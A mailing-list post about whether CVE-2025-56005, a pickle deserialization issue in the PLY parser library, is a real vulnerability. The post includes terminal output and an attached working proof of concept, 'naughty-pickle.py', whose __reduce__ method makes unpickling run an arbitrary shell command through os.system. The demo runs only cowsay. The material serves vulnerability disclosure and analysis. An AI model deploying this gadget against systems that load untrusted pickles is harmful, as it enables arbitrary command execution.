It looks like the pickling feature was removed in
https://github.com/dabeaz/ply/commit/1fac9fed647909b9 (Feb 2020,
"Massive refactoring/cleanup"), but that didn't make it into a release.
But anyway...
* Alan Coopersmith <[email protected]>, 2026-01-28 14:10:
https://www.cve.org/CVERecord?id=CVE-2025-56005 has added to the
references a link to https://github.com/tom025/ply_exploit_rejection
which argues that this CVE should be rejected because:
[...]
Run
uv run main.py
This will run the proof of concept. This results in the program
exiting early with a `AttributeError: 'function' object has no
attribute 'input'`.
I don't know what uv is, but the PoC almost works for me:
$ python3 -m pip install ply
Collecting ply
Downloading ply-3.11-py2.py3-none-any.whl.metadata (844 bytes)
Downloading ply-3.11-py2.py3-none-any.whl (49 kB)
Installing collected packages: ply
Successfully installed ply-3.11
$ cat /tmp/pwned
cat: /tmp/pwned: No such file or directory
$ python3 main.py
WARNING: yacc table file version is out of date
WARNING: no p_error() function is defined
Traceback (most recent call last):
File "/home/jwilk/ply_exploit_rejection/main.py", line 35, in <module>
parser.parse('example')
File ".../lib/python3.12/site-packages/ply/yacc.py", line 333, in parse
return self.parseopt_notrack(input, lexer, debug, tracking, tokenfunc)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".../lib/python3.12/site-packages/ply/yacc.py", line 1018, in
parseopt_notrack
lexer = lex.lexer
^^^^^^^^^
AttributeError: module 'ply.lex' has no attribute 'lexer'. Did you mean:
'Lexer'?
The AttributeError is PLY's weird way of saying that you forgot to
create the lexer. Indeed, the PoC imports the lex() function from
ply.lex, and then never uses it. But despite that, the planted code was
executed:
$ cat /tmp/pwned
VULNERABLE
## Argument 2: The proof of concept does not demonstrate Arbitrary
Code Execution as claimed ##
Referring to the proof of concept code this does not demonstrate
Arbitrary Code Execution as there is a single program running and no
untrusted data has been passed between processes. This is not a
demonstration of CWE-502 as claimed.
Meh. The author of the PoC took a shortcut by putting the code that
generates the malicious pickle and the code that runs the parser in the
same process, but it doesn't have to be that way. It'd be trivial to
move the two parts into separate programs.
I've attached a revised PoC:
$ printf example | python3 parser.py
example
$ python3 naughty-pickle.py cowsay pwned > parser.pkl
$ printf example | python3 parser.py
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
WARNING: yacc table file version is out of date
example
So there is no doubt that if you let PLY read pickles from untrusted
source, code execution is possible. But is it really a bug in PLY, or a
bug in the code that uses PLY in such a foolish way?
--
Jakub Wilk
import sys
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
'example'
return t
def t_error(t):
return
def p_sample(p):
'sample : EXAMPLE'
p[0] = p[1]
def p_error(p):
return
lex()
parser = yacc(picklefile='parser.pkl', debug=False)
print(parser.parse(sys.stdin.read()))
import os
import pickle
import sys
class Pwn:
def __reduce__(self):
cmd = str.join(' ', sys.argv[1:])
return os.system, (cmd,)
pickle.dump(Pwn(), sys.stdout.buffer)